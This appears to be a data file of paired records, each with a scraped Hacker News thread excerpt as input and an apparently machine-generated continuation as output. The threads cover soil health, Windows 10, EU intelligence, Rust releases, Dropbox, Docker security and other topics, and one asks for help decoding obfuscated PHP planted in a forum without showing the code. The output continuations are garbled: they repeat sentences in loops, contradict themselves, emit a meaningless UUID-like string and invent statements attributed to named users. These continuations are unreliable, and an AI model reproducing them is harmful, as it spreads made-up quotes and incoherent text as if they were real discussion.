other country!\n\nAlso change the country drop down filter below the search bar from Worldwide\nto India. You see an exponential rise in popularity, and the rise is not\nsudden.\n[https://www.google.com/trends/explore#q=%2Fm%2F0bm8t1r&geo=I...](https://www.google.com/trends/explore#q=%2Fm%2F0bm8t1r&geo=IN&cmpt=q&tz=Etc%2FGMT-5%3A30)\n\n------\ninsulanian\nBecause asking a question on Stack Overflow is becoming a formal skill, for\nGod's sake!\n\nIt gets more annoying and restrictive every day so that I have to think trice\nbefore deciding if I should go again trough that agony of asking a question\nand fight with SO admins to keep it from being closed.\n\n------\nchanux\nI think I was on the site yesterday. Went there through a link on twitter and\nclicked a link on that page. I was presented with the dreaded'sign up to see'\noverlay dark pattern.\n\nPS: I deleted my account sometimes back because I thought they used too many\ndark patterns to my taste at the time.\n\n~~~\ndurub\nTip: when presented with the dreaded sign up to see overlay, you can add\n?share=1 to the end of the URL to bypass it.\n\n~~~\njustincormack\nOr you can just stop using the site. I deleted all my content from the site"} +{"output_text": " of it is based on the needs of the soil.\n\nThe soil is a very important part of the ecosystem. It is the foundation of\nthe food chain. It is the basis of the economy. It is the basis of the\nsociety. It is the basis of the nation.\n\nThe soil is the foundation of the nation. It is the foundation of the\neconomy. It is the foundation of the society. It is the foundation of the\nnation.\n", "input_text": "ift\nIs anyone around with experience reversing obfuscated PHP code?\n\nWe're trying to figure out what the code implanted by some hacker types in our\nforum pages does:\n\n \n \n http://www.shapeoko.com/forum/viewtopic.php?f=7&t=7659\n \n\nInitial reversing of code here by jacob32123, one of our Community members:\n\n \n \n http://pastebin.com/U6qwqhSX\n (line 221+ has more decoded info)\n \n\nIf people are around with interest in this kind of thing, and time to\nassist... it would be really helpful. :)\n\n \n \n http://www.shapeoko.com/forum/viewtopic.php?f=7&t=7659&start=10#p60550\n\n \nCan American soil be brought back to life? - clumsysmurf\nhttp://www.politico.com/agenda/story/2017/09/13/soil-health-agriculture-trend-usda-000513\n======\noldandtired\nLike a lot of things, soil infertility is a symptom of a much larger societal\nproblem. Within society, there are many different competing groups that have\n\"the answer\". Progressives want a specific list, conservatives want another\nlist, city dwellers want a list (irrespective of being progressive or\nconservative), country dwellers want another, business owners want their own\nlist, workers want another, government wants a list, law enforcement wants\none, radicals want one, etc., stc., etc.\n\nAll of these lists of wants are at cross purposes. All of it is based on self-\ninterest. Very little"} +{"output_text": " that there are some things that are better on Windows, but the\nmajority of the things that are better on Windows are also better on other\nplatforms.\n\n~~~\nitvision\nI'm not saying that MacOS is ready for prime time. I'm saying that it's not\nready for the majority of users.\n\nI'm not saying that Windows is ready for prime time. I'm saying that it's not\nready for the majority of users.\n\nI", "input_text": " fragmention leads to system instability, requiring reboots...\nWhat? Again no data given to back up these claims. It's also SAN/Enterprise-\ncentric. Even if you lost 25% perf, you're going from 200,000 IOPs/sec to\n150,000 IOPs/sec. This is still plenty fast.\n\n------\npartiallypro\nI actually really like Windows 10, a huge portion of this list could easily\napply to any modern operating system that isn't Linux, and even there some of\nit applies. So OSX, Android, iOS, etc.\n\nThe section \"Now the second kind of issues is intrinsic to Windows 10 only\" is\nfull of things that are literally applicable to all the OSes I listed above. I\nhad some laugh out loud moments reading it. Are people just blinded by rage\nagainst Microsoft? I don't see how anyone could type that section in\nparticular out with a straight face while knowing about all the other major\nmodern OSes.\n\n~~~\nitvision\nMacOS doesn't have 95% of the listed issues.\n\nAnd we don't have any other desktop OSes which are ready for prime time.\n\n~~~\nSilhouette\n_And we don 't have any other desktop OSes which are ready for prime time._\n\nPeople keep saying that, but how often is it really true these days?\n\nAs a professional software developer, the tools available on UNIXy platforms\nare already much _better_ in many cases than the Windows ports.\n\nFor a typical home user who is mostly interested in things like email and\nsocial networking, and maybe needs to write up some notes or do a quick\nhousehold budget spreadsheet or basic photo editing, there is capable software\navailable on any serious desktop platform today.\n\nIt's true"} +{"output_text": " EU is a political union, not an economic one.\n\n~~~\njhelphen\nI agree that the EU is a political union, but I don't think that's the same as\nan economic union.\n\n~~~\nseppin\nIt is. The EU is a political union, but it is also a single market.\n\n~~~\njhelphen\nI don't think that's true. The EU is a political union, but it is not a\nsingle", "input_text": "Putsch](https://en.m.wikipedia.org/wiki/Beer_Hall_Putsch)\n\n------\nSiempreViernes\nFrom the source article:\n\n\"Certain countries were deliberately not allowed to join because within the\nMaximator alliance they were considered as lacking relevant (signal-/crypto-\nanalytical) expertise and/or experience. Allegedly, these countries include\nNorway, Spain and Italy.\"\n\nAnd\n\n\"Belgium is a notable exception in north-western Europe; it had not been\ninvited to join Maximator because of its lack of SIGINT (and COMSEC)\ncapabilities.\" adding in a footnote that \"Belgium\u2019s cryptographic behaviour\nand discipline were problematic. For instance, at least once it compromised\nits own communications via a basic mistake in key management;\"\n\n:D\n\n~~~\nkoheripbal\nIt is disappointing to continue to see such rampant fragmentation within\nEurope.\n\nI had hoped that the EU would break down regulatory barriers and force\nbureaucratic consolidation, but it seems progress has stalled in the last 10\nyears.\n\nThe EU should have one single intelligence agency - not a dysfunctional\ncollection of fighting to be part of the \"in\" group.\n\n~~~\njhelphenstine\nOne single intelligence agency? And what if the Germans are interested in\ngaining better understanding of Viktor Orban? Or if the Italians want to know\njust how far Germany will really go to help them financially? An intelligence\nagency is a means of acquiring answers to intelligence needs - I'm not sure\nEurope is of one mind with regard to what questions merit answering.\n\n~~~\nseppin\nExactly. You'd need a single united economic and political union first.\n\nThe"} +{"output_text": "\" part of the EU is a different story, but that's a different\narticle)\n\n~~~\nTharkun\nI'm not sure what you're trying to say. I'm not a consultant, I'm a software\nengineer. I've worked for the EU, and I've worked for the EU's competition\nauthority. I've worked for the EU's customs authority. I've worked for the EU's\ntransport authority. I've worked for the EU's fis", "input_text": "ed themselves, of course)?\n\n~~~\nTharkun\nYou're making the incorrect assumption - deliberately, I presume - that the\npeople writing the legislation have anything to do with how the website\noperates. You're wrong, of course. The EU(P) is a very large and very complex\norganization, just like many multinationals.\n\nShould they eat their own dog food? Probably. But pretending there's some kind\nof hypocrisy going on is stretching it.\n\n~~~\ncandiodari\nWell my opinion is that the EU shouldn't exist. A non-democratic state\ncontrolling democratic states seems to me to be a spectacularly bad idea. But\nI'm a consultant and I've worked and work for these people, mostly indirectly.\n\nLet me assure you: there is absolutely no shortage of hypocrisy. You don't\nneed anything more than to walk around their offices and ask what all those\nweird marking on public and private spaces mean. You'll be disgusted, and\ncured of any notion that the EU intends to do anything for anyone but\nthemselves.\n\nBut outside of that, there are clear personal status cult being upheld\neverywhere around the European organisations, with the biggest distinction\nbetween the \"fonctionnaires\" and everybody else (although as an employee of\nthe commission you're still several rungs above \"les gens de la rue\" (which\ndoes not mean homeless, like in France, it just means normal people of\nBrussels). And may God help you if you're working for ISS or any of the\ncleaning companies. At that point your status is so low that people routinely\nthrow things at you just to cool their frustration. This is accepted and\nnormal behavior, despite how incredibly immoral it is.\n\n(The \"European"} +{"output_text": "\n\n------\njasonlbaptiste\nI'm not sure if this is a good thing or not. I'm not sure if I want to use\nDropbox on my phone. I'm not sure if I want to use Dropbox on my phone. I'm\nnot sure if I want to use Dropbox on my phone. I'm not sure if I want to use\nDropbox on my phone. I'm not sure if I want to use Dropbox on my phone", "input_text": " _disgusted-look_ \u201cUhm, it would be nice if we\ncould use Dropbox, that\u2019s a pretty cool service. Do you know it?\u201d :)\n\n~~~\nviraptor\nAh the joy of Moodle... I haven't met one person who likes it (although I've\nseen much worse systems - WebCT anyone?) It's amazing that people still want\nto install it for anything serious. Although maybe there no alternatives\nfeature-wise?\n\n------\nRK\nThe only problem I'm having so far with the Android app (on 2.1/Nexus One) is\nthat whenever you view a picture in the Dropbox app it gets added to your\nAndroid gallery. The other way around would be OK, but this way just clutters\nup the phone gallery.\n\n------\nderefr\nAnyone know what the API looks like? The documentation for it is behind the\ninvite-wall, I'm guessing.\n\n------\ntingley\nIt makes me happy to see how much success Dropbox is having. It's a great\nproduct.\n\n------\nevo_9\nYeah these guys are top notch. Excellent product, and now this smart move to\nfurther fill the storage void for mobile. Good work DropBox!\n\n------\nbmalicoat\nWon't be surprised when these guys get bought out. Fantastic product,\nimplemented way better than anything any of the major players have.\n\n------\nLegion\nOf _course_. Earlier today I go to Android Market, thinking \"gee, the Dropbox\napp ought to be out by now, right?\". It was not, so I downloaded some 3rd\nparty thing.\n\nDrive home, fire up HackerNews, and look what I see...\n\nAh well."} +{"output_text": "This is a bit of a shame, because it's a pretty big security issue.\n\n~~~\nsteveklabnik\n> Why are developers (since this is an issue that shows up with cargo) running\n> Windows 7 without security patches installed?\n\nBecause Windows 7 is still the most popular OS for developers.\n\n> Especially since the issue only shows up on Windows 7 installs that haven't\n> received security patches since June 2016.\n\nThis is a bit", "input_text": "over\nWasnt even close for me. Not sure if the data's poor for my demographic or I'm\natypical.\n\n------\npan69\nNice idea but an absolute terrible website. E.g. If you go into the about\nsection and expand one the questions you get this weirdo scroll bar. Seems\nlike they're forcing the layout into a fixed dimension.\n\n------\nsome1else\nYou can see where rich people eat.\n\n \nAnnouncing Rust 1.24.1 - steveklabnik\nhttps://blog.rust-lang.org/2018/03/01/Rust-1.24.1.html\n======\nmkj\nIn case anyone else was wondering how longjmp() over the Rust code isn't a\nproblem regardless:\n\n\"There are only Copy types on the rust stack frame being jumped over.\"\n\n[https://github.com/rust-lang/rust/issues/48251](https://github.com/rust-\nlang/rust/issues/48251)\n\n~~~\nstmw\nneat!\n\n------\nFreak_NL\n> Cargo couldn\u2019t fetch the index from crates.io if you were using an older\n> Windows without having applied security fixes.\n\nWhy are developers (since this is an issue that shows up with cargo) running\nWindows 7 without security patches installed? Especially since the issue only\nshows up on Windows 7 installs that haven't received security patches since\nJune 2016.\n\n> libgit2 created a fix, using the WinHTTP API to request TLS 1.2. On master,\n> we\u2019ve updated to fix this, but for 1.24.1 stable, we\u2019re issuing a warning,\n> suggesting that they upgrade their Windows version.\n\n"} +{"output_text": " the fact that the author is a JavaScript\ndeveloper, and the article is about JavaScript.\n\n~~~\njoshschreuder\nI think it's more that the author is a JavaScript developer, and the article\nis about JavaScript.\n\n------\njoshschreuder\nI'm not sure I agree with the author's conclusion that JavaScript is a\n\"mess\". I think it's a great language, and I've been using it for a long time.\n\nI", "input_text": "\n\n~~~\nTeMPOraL\nMacros can actually be written in Parenscript as well, AFAIR. But the language\nblends itself very naturally with CL code.\n\n~~~\naidenn0\nparenscript macros are in straight common-lisp. They expand to parenscript, of\ncourse.\n\n------\n1971genocide\nAlso check out LiveScript.\n\n[http://livescript.net/](http://livescript.net/)\n\nand its awesome FP library inspired by haskell's prelude.hs\n\n[http://www.preludels.com/](http://www.preludels.com/)\n\nI have done all forms of projects using LiveScript - robotics, simple\nwebsites, blog, cryptography, computer vision.\n\nIts actually becoming silently fairly mature.\n\nIt helps when it doesn't generate any hype like most languages.\n\nThe community around is also very helpful!\n\nAnd LiveScript is awesome with React.js or any other virtual DOM based MVC\nframework.\n\n~~~\namyjess\nWhy did they name it that?\n\nLiveScript was Netscape's original name for JavaScript, before Sun asked them\nto throw in some Java branding.\n\n~~~\nrane\n\n > Name\n >\n > LiveScript was one of the original names for JavaScript, so\n > it seemed fitting. It's an inside joke for those who know\n > JavaScript well.\n\n------\njestar_jokin\nDoesn't it say something about JavaScript, dissatisfaction with it, and the\noverwhelmingly splintered ecosystem, when _every_ comment is suggesting\nalternatives to the solution in the article?\n\nI guess we chalk this one up to"} +{"output_text": "\npositive.\n\n~~~\njimmaswell\nI'm not sure I understand your point. I'm not saying immigration is good or\nbad, I'm saying that if it's bad, it would decrease the GDP.\n\n~~~\nlbarrow\nI'm saying that if you have a country with a population of 10 million, and\nyou're only producing goods and services for that population, then you're\nproducing goods and services for 10 million people. If you have", "input_text": ", their loss.\n\nDon't like US immigration? Good, don't emigrate to the US. Once enough people\ndo this that it starts to affect the US GDP I'm sure there will be some\nchange. As long as everybody accepts it this will continue or it will even get\nworse.\n\nI had a pretty lucrative offer about two years ago to become involved in a\ncompany. The catch: the work had to be done in the United States. No thanks...\nBut call me when the TSA is abandoned and the border guards are no longer\ntreating immigrants like shit. You know, the way it used to be before\neverybody went crazy.\n\nAnd on an off-topic and non-related note, additional conditions would be that\nGuantanamo is closed, the US ceases its drone program and the CIA gets\nthoroughly reamed for their'renditions' program, including full exposure of\nall parties that were involved domestically and abroad.\n\nUntil then the US will have to do without me, I'm quite sure they don't care\none bit.\n\n~~~\njimmaswell\n> Don't like US immigration? Good, don't emigrate to the US. Once enough\n> people do this that it starts to affect the US GDP I'm sure there will be\n> some change.\n\nLess immigrants would negatively affect the GDP? I've heard the opposite many\ntimes, but I'm not an economist. Why is that so?\n\n~~~\nlbarrow\nThere's no realistic situation in which having another person working in a\ncountry decreases its GDP. GDP is simply the sum of all goods and services\nafter net exports and investments. Given that a working person is, by\ndefinition, producing a good or service, their contribution to GDP is always"} +{"output_text": "/_id=8d8e9e9d-c9e0-4f8e-a9e8-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e9-e9e", "input_text": "\nis 37.6% higher.\n\nNorway interestingly has almost the same pay as USA - $68,737 [2], probably\nbecause of high share of oil extraction in GDP (22% [3]) which skews the\nresult. If you subtract oil share from the GDP, you get $56,195.88 nominal GDP\nper capita, which is almost the same as the American one ($57,220)!\n\nNow Luxembourg is a tax haven/financial center with a population of half a\nmillion so I don't think it's a relevant comparison. Just due to population to\nget something close to true pay average you would have to ask a relatively (to\nother countries) very big percentage of their developers.\n\nSame site for comparable data\n\n[0]\n[http://www.payscale.com/research/CH/Job=Software_Engineer/Sa...](http://www.payscale.com/research/CH/Job=Software_Engineer/Salary)\n\n[1]\n[http://www.payscale.com/research/US/Job=Software_Developer/S...](http://www.payscale.com/research/US/Job=Software_Developer/Salary)\n\n[2]\n[http://www.payscale.com/research/NO/Job=Software_Developer/S...](http://www.payscale.com/research/NO/Job=Software_Developer/Salary)\n\n[3] [https://www.ssb.no/en/befolkning/artikler-og-\npublikasjoner/_...](https://www.ssb.no/en/befolkning/artikler-og-\npublikasjoner"} +{"output_text": " and help us scale our\nbusiness.\n\nWe are a small team of engineers that are passionate about building great\nproducts. We are looking for someone who is excited about working on a\ntechnology that is used by millions of people.\n\nWe are a small team of engineers that are passionate about building great\nproducts. We are looking for someone who is excited about working on a\ntechnology that is used by millions of people.\n\nWe are looking for someone who is excited about working", "input_text": "Engineering Manager + Tech Lead - Broadcast Innovation Passion around the\nesports space with experience in streaming.\n\nSenior Software Engineer (Platform)- Design, written, shipped + operated\nRESTful services at large scale (>10,000,000 MUs, >500 aQPS) Expert level in\nJava or Go\n\nTech Lead/Senior Software Engineer (Mobile) Expertise in Android and iOS\n\nIf you're interested shoot me your resume to nclauss(AT)riotgames.com\n\n------\ndanielnc\nSoftware Engineer (Back End) | CareMessage (YC W14) | REMOTE | FullTime\nCareMessage is looking for a Software Engineer with Ruby on Rails experience\nto help build and maintain our web platform that streamlines care management\nand delivers interactive mobile programs to improve health outcomes. You\u2019ll be\nworking on exciting projects like optimizing our Sidekiq queuing system,\nimproving and building new integrations with Twilio, building our customer\nanalytics code, and helping improve and maintain our own API. Our engineering\nteam follows agile principles in a test driven development process. We are a\nremote first team that values open collaboration and shared ownership.\n\nMore Info: [http://grnh.se/fhi2ql1](http://grnh.se/fhi2ql1)\n\n------\njasonchen913\nMongoDB | New York, NY (relocation is available) | Software Engineer, Cloud\n(Mid to Sr. level) | Full-Time | Competitive Base + Pre-IPO stock Options\n\nWe are looking for a server-side engineer (Java) that will work on core\nfunctionality for our cloud products, writing code that will help store\npetabytes of data in MongoDB all over the world,"} +{"output_text": "\n\n~~~\nfoo101\nThanks for the suggestions. I will give them a try.\n\n------\njasonkester\nI use GIMP for all my photo editing needs. It's free, it's open source, and\nit's available on all three major platforms.\n\nIt's not the most feature-rich photo editor out there, but it's a good\nstarting point.\n\n~~~\nfoo101\nThanks for the suggestion. I will give it a", "input_text": "\n\nIt's always the same.\n\nThe \"product\" they're working on is the remnants of a side-project that went\nnowhere.\n\nBut like I said, we _do_ pay people for their time unless we hire them. We do\nit onsite. And we do one 7-hour workday. And we pay $250.\n\nAnd we do that mainly so nobody is suspicious that they had been duped into\nworking for free.\n\nIt's _possible_ but imo, unlikely that your work is actually making its way\ninto a shipping product.\n\n~~~\nmeesterdude\nIt sounds like you guys do it a respectable way. But I don't understand why\nyou can't accept the facts as I present them, as I have given no reason for\nyou to doubt my claims or abilities to properly assess the situation. Maybe\nyou think it's just too crazy to be true? Because that's what I'm thinking for\nsure... But them be the facts despite my preference of otherwise.\n\n \nAsk HN: What is a good free alternative for Picasa for photo editing? - foo101\nNow that Picasa is end-of-life, I would like suggestions about an alternative photo editor that is amateur-friendly. I am not a professional photographer. I am a programmer. But I do like to perform some quick enhancements on the photographs (like altering brightness, shadows, etc.). Is there a good free alternative (free as in free speech or free as in free beer)? If it works on all three of Mac, Linux and Windows, it's a bonus!\n======\nbrudgers\nGimp. Darktable. Learning to do simple things in either is probably a matter\nof a few hours but only one time. Then either is as fast as anything else."} +{"output_text": " that you are able to take the nutrients out of the\nsoil and put them back into the soil.\n\n~~~\nseiferteric\nThanks for the explanation. I think I understand now.\n\n------\nmikekchar\nI'm not sure if this is the right place to ask this, but I'm curious. I'm\ntrying to figure out how to get into the field of soil science. I'm not sure\nwhat I want to do with it", "input_text": "\n~~~\nabhinavkulkarni\n@seiferteric: Can you please explain this more? I don't quite understand what\nyou mean by 'open loop'. Thanks.\n\n~~~\nmikekchar\nNot the OP, but essentially you take vegetables out of a field. You eat the\nvegetables. You poop. Your poop ends up in a sewage treatment plant. Nothing\nends up back in the field. Instead we add fertilisers that we have mined out\nof the earth for the macro nutrients.\n\nIt's not just sewage either. Every time you till the earth, you expose it to\nthe air. This oxidises the minerals and often makes them unavailable for the\nplants. Because the fertiliser we add is very water soluble it drains through\nthe water table and ends up in the rivers and eventually washes out to sea (or\njust clogs the rivers with algae).\n\nTilling and pesticides also kill the organisms that are responsible for moving\nnutrients around under the earth. Additionally, we tend to plant mono-culture\ncrops with short root structures. This stops a variety of plants from breaking\ndown nutrients in the soil and moving them to the top layer of humus. So\neither we till deeper (exacerbating the problem) or we essentially lock all of\nthe nutrients below the level that the plants can access.\n\nIn the end, you basically are slowly extracting all of the bioavailable\nnutrients out of the soil, and depositing them in the sewage treatment fields.\nAt the same time you are oxidising what's left and washing everything else out\nto the sea. Any fertility that remains is below the access of the plant roots\n(and probably not in a form that can be utilised right away).\n\n\"Closing the loop\" means"} +{"output_text": " the ban is in effect and I've seen a lot of people with bump stocks\nin their cars.\n\n~~~\njessaustin\nI'm not sure how this is a surprise. The ATF has been saying for years that\nthey would like to ban bump stocks.\n\n~~~\noblib\nI'm not sure how it's a surprise to me either. I'm just saying that I don't\nthink it's widely known.\n\n------\njessaust", "input_text": " prevent, or the\nmagnitude of the problem, if there really is one.\n\n~~~\n100k\nW2 employees have all kinds of protections that 1099 contractors don't. Paid\nsick time, FMLA leave, retirement plan contributions...A big difference is\nthat 1099 contractors must pay their own self-employment taxes (15%) to cover\nSocial Security and Medicare whereas W2 employees have half of that paid for\nby their company. (Economists would say that comes out of wages, but it still\nmeans $15/hour W2 is not directly comparable to $15/hour 1099.)\n\n~~~\nProAm\n>still means $15/hour W2 is not directly comparable to $15/hour 1099\n\nof course not that is why contractors get paid more than salary employees. If\ncontractors dont ask for more money per hour then its their own fault.\n\n~~~\ntoomuchtodo\nCan you show me how \"independent contractor\" Uber employees can ask more per\nhour?\n\n~~~\nzzalpha\nWhich is, incidentally, one of the points this case will hinge on. Being able\nto set your own rates is one of the key differentiators between contract and\nemployee labour, and Uber drivers clearly do not have that ability.\n\n \nBump stocks are turned in or destroyed as ban takes effect - oblib\nhttps://apnews.com/ea1b1c1b13194118b83a1f0d4aa08a2a\n======\noblib\n\"Anyone in possession of a bump stock from now on can be charged with a\nfederal offense punishable by up to 10 years in prison.\"\n\nI may be wrong, but I don't think this is widely known right now. I live in an\narea where"} +{"output_text": "://www.economist.com/node/21559412\n======\njrockway\nI don't think this is a good idea.\n\nI have a monitor that is 16:9, and I have a monitor that is 4:3. I have a\nmonitor that is 16:10, and I have a monitor that is 4:5. I have a monitor that\nis 16:9, and I have a monitor that is 4:3. I have a", "input_text": ")\nhave things like Pidgin and last.fm open.\n\n------\njohngunderman\nI prefer one widescreen next to one widescreen turned vertical. this way I can\nview plenty of code on the vertical monitor, and yet enjoy the benefits that\nthe widescreen monitor brings.\n\n------\nTallGuyShort\nFor virtually any activity I would do while sitting down at a\ncomputer/workstation, I think wide screens have a much more natural fit to a\nperson's eyesight. I think they're just more comfortable to look at.\n\nOn the other hand, I can definitely see a reason for vertically oriented\nscreens in eBook readers and some hand-helds. I can't think of a time when I\nwould rather have a more square screen.\n\n------\nbgnm2000\nI prefer widescreen, with windows tiled horizontally as well on my mac. I use\nterminal with visor (google blacktree) which is sweet, and then a bunch of\ndifferent spaces - coding w/ textmate for ROR dev.\n\n------\nrscott\nWhy isn't this a poll question?\n\nWidescreen 22\" + Macbook screen. Textmate for some things, but Xcode and its\n(many) requisite windows for iPhone stuffs.\n\n------\nsocratees\nI use a Dell S2209W 22\" wide panel monitor. Its way comfortable than using\nsmaller monitors and i don't think i can go back to using smaller ones.\n\n------\nnoblethrasher\nWidescreen, but I spend almost as much time in Photoshop, Illustrator and\nFlash as I do in Visual Studio and Notepad++.\n\n \n\"Maybe\" is one option too many - dk\nhttp"} +{"output_text": "\n[1] - [http://www.theregister.co.uk/2014/06/27/iot_data_open_standa...](http://www.theregister.co.uk/2014/06/27/iot_data_open_standard/)\n\n~~~\njoezydeco\nI think the problem is that the data is not open.\n\nThe data is not open because the devices are not open.\n\nThe data is not open", "input_text": " so maybe that's why. I wonder\nwhat CVs could be cooked up for more technical and/or organisational\npositions. A github printout comes to mind.\n\n~~~\noscardelben\n\n\n------\nFiddlerClamp\nOr check out my creative resume, which was designed to be sent as plain text.\nIt was originally a response to a job site that required me to fit my\nexperience into boring little boxes...\n[http://www.scribd.com/full/39705569?access_key=key-\ncwlk7b9tf...](http://www.scribd.com/full/39705569?access_key=key-\ncwlk7b9tfinftw80ul9)\n\n------\nharaball\nI like this guy's idea, which adds a hacker flavor to the resume concept. He\ncreated a business card with his CV on it, and handed it out on a job fare:\n\n\n\n \n\nThe Internet Of Things Will Need Millions Of Developers By 2020 - damian2000\nhttp://readwrite.com/2014/06/27/internet-of-things-developers-jobs-opportunity\n\n======\nonion2k\nIf IoT devices make their data open, accessible and work to a defined standard\nwith a machine discoverable, zero config interface[1], then, in theory, apps\ncould be built with no knowledge of whatever devices come along that could use\nthe new data as and when it appears. That way we wouldn't actually need more\ndevelopers, just developers willing and able to take advantage of the new\ndata.\n"} +{"output_text": " hand, you're running a container and\nyou're not using it for anything, you're probably not using it for anything\nthat you need to protect yourself from.\n\n~~~\nStreamBright\nI agree with you. I am not saying that you should not use containers. I am\nsaying that you should not use containers for things that you do not need to\nprotect yourself from.\n\n------\njosteink\n> _The only way to get a container to", "input_text": " learning. It seems there\nare now security reasons for preferring the p2p approach.\n\nIf you're interested in our p2p approach, see:\n[https://fosdem.org/2017/schedule/event/democratizing_deep_le...](https://fosdem.org/2017/schedule/event/democratizing_deep_learning/)\nand www.hops.io\n\n------\ndjb_hackernews\nSurprised the docker iptables doesn't block this already. I do see rules\ndisallowing traffic to and from docker0 (172.17.0.1).\n\n~~~\nStreamBright\nI am not surprised at all. Security is mostly an afterthought in the docker\nuniverse. Sensible defaults are not really a thing and instead of giving\naccess to resources when needed it is allowed to do anything by default. Also,\nunprivileged containers when?\n\n~~~\nyebyen\nThis is not really true IMHO unless you're just starting and don't know what\nyou're doing. Like for example, if you're doing a container and you set\n--privileged flag, you have almost certainly granted more access to the\nprocesses inside of the container than was needed.\n\nI get what you're saying about unprivileged containers, even if the processes\nin the container are not running as root, the container itself (and docker\nitself) is basically root. The person running the container gets root. Setting\nup a docker host as multi-tenant is something you may do at your own risk.\n\nIf your users have access through the network to processes running inside of a\ncontainer, that is how you may use containers to protect yourself and your\nusers from each other. If, on the other"} +{"output_text": " viable business model?\n======\nnaithemilkman\nI'm currently running a few MFA sites and have been for the past few years.\n\nI've been running a few MFA sites for the past few years and have been running\na few MFA sites for the past few years.\n\nI've been running a few MFA sites for the past few years and have been running\na few MFA sites for the past few years.\n\nI've", "input_text": " view it as\nconfirmation you are onto something. keep going. be prepared to fight. and do\nit better.\n\n------\npknerd\nYou have more freedom to iterate your product than them :-)\n\n \n$1,200 a month, privacy not included - 0wl3x\nhttps://www.cnn.com/2019/07/05/success/podshare-co-living/index.html\n======\ndeogeo\n> Stephen T. Johnson, the 27-year-old founder of FlipMass, an advertising\n> company for Instagram influencers\n\nAdvertising, extortionate rents, middle-men, 'analytics'... the sheer number\nof layers of parasitism in San Francisco is hard to comprehend.\n\n9 times out of 10, these 'tech' companies are a net drain on society.\n\n------\nnot_a_cop75\nCall me crazy, but is it possible CNN wants to further legitimatize high rents\nin large cities? Every big news service works for some billionaire it seems,\nand none are even tongue in cheek self critical anymore, or so it seems.\n\n------\nfreewilly1040\nInteresting that the founder\u2019s elevator speech included nostalgia for late\nperiod USSR... I cringed a bit at that.\n\n~~~\npmiller2\nWhere did you see that?\n\n~~~\nfreewilly1040\nIt's in the first minute of the video\n\n \n\nAsk HN: Made for Adsense (MFA) Sites - naithemilkman\n\nIt's hard to get the skinny on exactly how viable this business model still is considering the amount of outdated information on google.

Does anyone currently operate an MFA site(s)? Can you do an AMA? Is it still a"} +{"output_text": " to you, and then ask yourself if you would have done it better.\n\n~~~\nonemorepassword\nThat's a good point. I think I'd have to accept the result of the task given\nto me, and then ask myself if I would have done it better.\n\n------\njoshu\nI think this is a good point, but I think it's a little too broad.\n\nI think the point is that you should delegate to people who are", "input_text": " It's already starting to happen; math is leading the way. Much\nof my website is somewhere in the space between 'blog entry' and 'paper'.\n\n~~~\njgrahamc\nYes. One way around this whole 'who pays' mess would be a Wikipedia like site\nfor papers. Anyone can publish, anyone can review. If you added voting to that\nand some level of authentication of users it could be very interesting.\n\n------\naswanson\nMr. Graham-Cummings,\n\nAmen. Kindly forward a similar letter to the IEEE and ACM.\n\nRegards,\n\naswanson\n\n \n\nWhen founders get overloaded with tasks - jkaljundi\nhttp://kaljundi.com/2013/05/22/when-founders-get-overloaded-with-tasks/\n\n======\nonemorepassword\nTip for all founders with employees from someone who's worked for start-ups\nfor decades: fucking delegate!\n\nAnd I don't just mean the work, that's the easy part. Delegate parts of the\ndecision-making process you don't have the time for to get into properly. Yes,\neven if it involves spending money.\n\nIf I have to report to, talk you through things on multiple occasions, have to\nkeep reminding you of them, and all the while my team is waiting for a\ndecision, that process does not only cost you a lot of time you should be\nspending doing other things, it actually often costs the whole company more\nmoney than we're actually talking about spending!\n\nIf you don't trust the people you've hired, you're doing it wrong.\n\n~~~\nharaball\nA good advice I got when delegating, was to accept the result of the task\ngiven"} +{"output_text": " bug would be a bargain.\n\n~~~\njessaustin\nI'm sure the F-35 is a great aircraft, but it's not like the F-22 was a\nfailure.\n\n~~~\nsevenless\nI'm not saying the F-22 was a failure, I'm saying that the F-35 is a failure.\n\n~~~\njessaustin\nI'm not sure what you're saying. The F-22 is a failure?\n\n", "input_text": " has compromised a service account and search\nfor attempt to persist with calls to `setIam` or other sensitive api calls.\n\nSorry, I\u2019m on mobile but feel free to reach out If you need (email in profile)\n\n------\nrxsel\nI\u2019m just here for the support. There is definitely someone here lurking that\ncould definitely help :)\n\nAlso, I\u2019ve seen a trend of terrible google support. Is this the norm?\n\n \nOnly One of Six Air Force F-35s Could Actually Take Off During Testing - farseer\nhttp://fortune.com/2016/04/28/f-35-fails-testing-air-force/\n======\nPopsiclePete\nI can _feel_ the kind of project this must have been. A giant cluster-fuck of\ndozens of managers and dozens of teams \"collaborating\" (a.k.a. spending 60% of\ntheir productive time in meetings), and more and more people being added as it\nstarted to get bad, thus making it worse. Working long hours, trying to patch\nup some fundamental flaws in the overall design, the fuck-tard MBA'manager'\ntelling them how much their hard work is \"appreciated\" and how it's just \"a\nlittle big longer\" as they steadily burn out...\n\nAnd the uber-fucktard above, who keeps pushing harder, piling more people and\nmore meetings, until the whole thing starts to collapse onto itself.\n\nThey never learn. Never.\n\n------\nsevenless\nMaybe they should open all the source code to the public and offer large\nrewards for finding bugs.\n\nThose planes cost, what, a third of a billion each? Even a million dollars per\nsubstantial"} +{"output_text": " a car that lasts 25 years, then it will cost more to build a car that\nlasts 25 years.\n\n------\njwatte\nI think the real problem is that we have a system that is designed to make\nthings last, and we have a system that is designed to make things cheap.\n\nThe two are not compatible.\n\n------\njwatte\nI think the real problem is that we have a system that is designed to make\nthings last,", "input_text": " Samsung Syncmaster 2333SW Plus. It started\nfading to white every time blue was displayed, then it would overflow back to\na normal image and fade to white.\n\nI'm told this is a fault in the t-con (timing controller) board - some people\nhave noted it's just a bad solder connection, so I'm going to have a look\nbefore I replace the board.\n\nI have a donor screen that I got apart (the 2333HD) in about four hours, but\nthe 2333SW Plus... I've been trying for at least 12 hours to get that thing\napart. (I've sanitized this post.) The sides of the casing are free, but the\ntop and bottom edges just won't let go, and I can't afford to break the\ninternal clips.\n\nI honestly can't decide between RageGuy and Samir's rage at the printer not\nprinting properly.\n\n------\nthght\nHeaps of old stuff is broken because of planned obsolescence. Is it not a\nwaste trying to repair that rubbish that was originally designed to break soon\nand hard and expensive to repair? Lowering tax for companies that produce\nsustainable products seems more efficient to me.\n\n------\njwatte\nOne side effect of building for repairability is that objects will be bigger\nand clunkier, which will use more materials and cost more (and burn more fuel)\nto transport.\n\nI'm all for repairability, and even better, building things that will last 25\nyears, not 25 months. But that will come at a different price than perhaps\nmany expect, and in some cases, it actually won't make sense.\n\nMoney is how we measure and gate access to scarce 